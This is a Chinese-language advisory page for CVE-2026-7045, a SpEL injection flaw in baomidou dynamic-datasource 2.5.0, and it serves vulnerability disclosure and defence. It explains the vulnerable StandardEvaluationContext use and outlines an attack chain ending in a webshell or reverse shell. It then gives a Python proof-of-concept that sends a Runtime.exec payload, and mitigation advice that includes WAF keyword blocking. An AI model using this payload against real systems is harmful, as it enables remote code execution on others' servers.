IPBUF安全漏洞报告
English
CVE-2026-7045 CVSS 6.3 中危

CVE-2026-7045 baomidou dynamic-datasource SpEL注入漏洞

披露日期: 2026-04-26

漏洞信息

漏洞编号
CVE-2026-7045
漏洞类型
SpEL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
baomidou dynamic-datasource

相关标签

SpEL注入RCE代码执行baomidoudynamic-datasourceSpring Boot

漏洞概述

baomidou dynamic-datasource 2.5.0版本存在严重的SpEL表达式注入漏洞。该漏洞源于组件DsSpelExpressionProcessor#doDetermineDatasource函数在处理数据源名称时,不安全地使用了StandardEvaluationContext解析SpEL表达式。攻击者可利用此漏洞在无需用户交互的情况下发起远程攻击,导致系统机密性、完整性和可用性受损。建议用户及时升级或应用相关补丁。

技术细节

该漏洞位于baomidou dynamic-datasource组件的SpEL表达式处理逻辑中。具体受影响的文件是dynamic-datasource-spring/src/main/java/com/baomidou/dynamic/datasource/processor/DsSpelExpressionProcessor.java,问题函数为DsSpelExpressionProcessor#doDetermineDatasource。在解析动态数据源标识符时,代码直接使用了StandardEvaluationContext来配合SpelExpressionParser解析表达式。StandardEvaluationContext是Spring SpEL中功能最全的上下文类型,它默认允许访问任意Java类、方法和属性,且缺乏严格的安全限制。攻击者若能控制传入该方法的参数(例如通过HTTP请求传递恶意的数据源名称),即可注入特定的SpEL Payload。例如,通过构造T(java.lang.Runtime).getRuntime().exec('calc')等表达式,攻击者可在目标服务器上执行任意系统命令,进而完全控制服务器。这导致了远程代码执行的风险,严重威胁应用安全。

攻击链分析

STEP 1
侦察
攻击者识别目标系统使用了baomidou dynamic-datasource组件,并确认版本在受影响范围内(如2.5.0)。
STEP 2
漏洞探测
攻击者向应用接口发送包含特殊SpEL语法(如#{...})的测试数据,观察服务器是否出现解析错误或异常行为,确认SpEL注入点。
STEP 3
构造Payload
攻击者构造恶意的SpEL表达式,利用StandardEvaluationContext的权限,编写可执行系统命令的Payload(如T(Runtime).exec())。
STEP 4
执行攻击
将包含恶意Payload的数据发送给DsSpelExpressionProcessor处理,服务器解析表达式并在上下文中执行攻击者指定的命令。
STEP 5
建立控制
根据回显或利用DNS外带等技术确认命令执行结果,进一步上传WebShell或反弹Shell,获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# POC Concept for CVE-2026-7045 # This script sends a malicious payload to trigger SpEL injection. import requests target_url = "http://localhost:8080/api/datasource" # Malicious SpEL payload to execute a command (e.g., opening calculator) # Change 'touch /tmp/pwned' to OS specific command for Linux or 'calc.exe' for Windows spel_payload = "T(java.lang.Runtime).getRuntime().exec('touch /tmp/pwned')" headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-7045-Test" } # Attempt to inject via the parameter that determines datasource data = { "datasource": spel_payload, "username": "admin", "password": "admin" } try: response = requests.post(target_url, json=data, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") print("Check if the file /tmp/pwned was created or command executed.") except Exception as e: print(f"Error occurred: {e}")

影响范围

baomidou dynamic-datasource <= 2.5.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议通过WAF(Web应用防火墙)拦截包含T(、Runtime、exec等关键字的SpEL恶意流量,并限制对数据源切换接口的网络访问权限,仅允许可信的内网IP调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表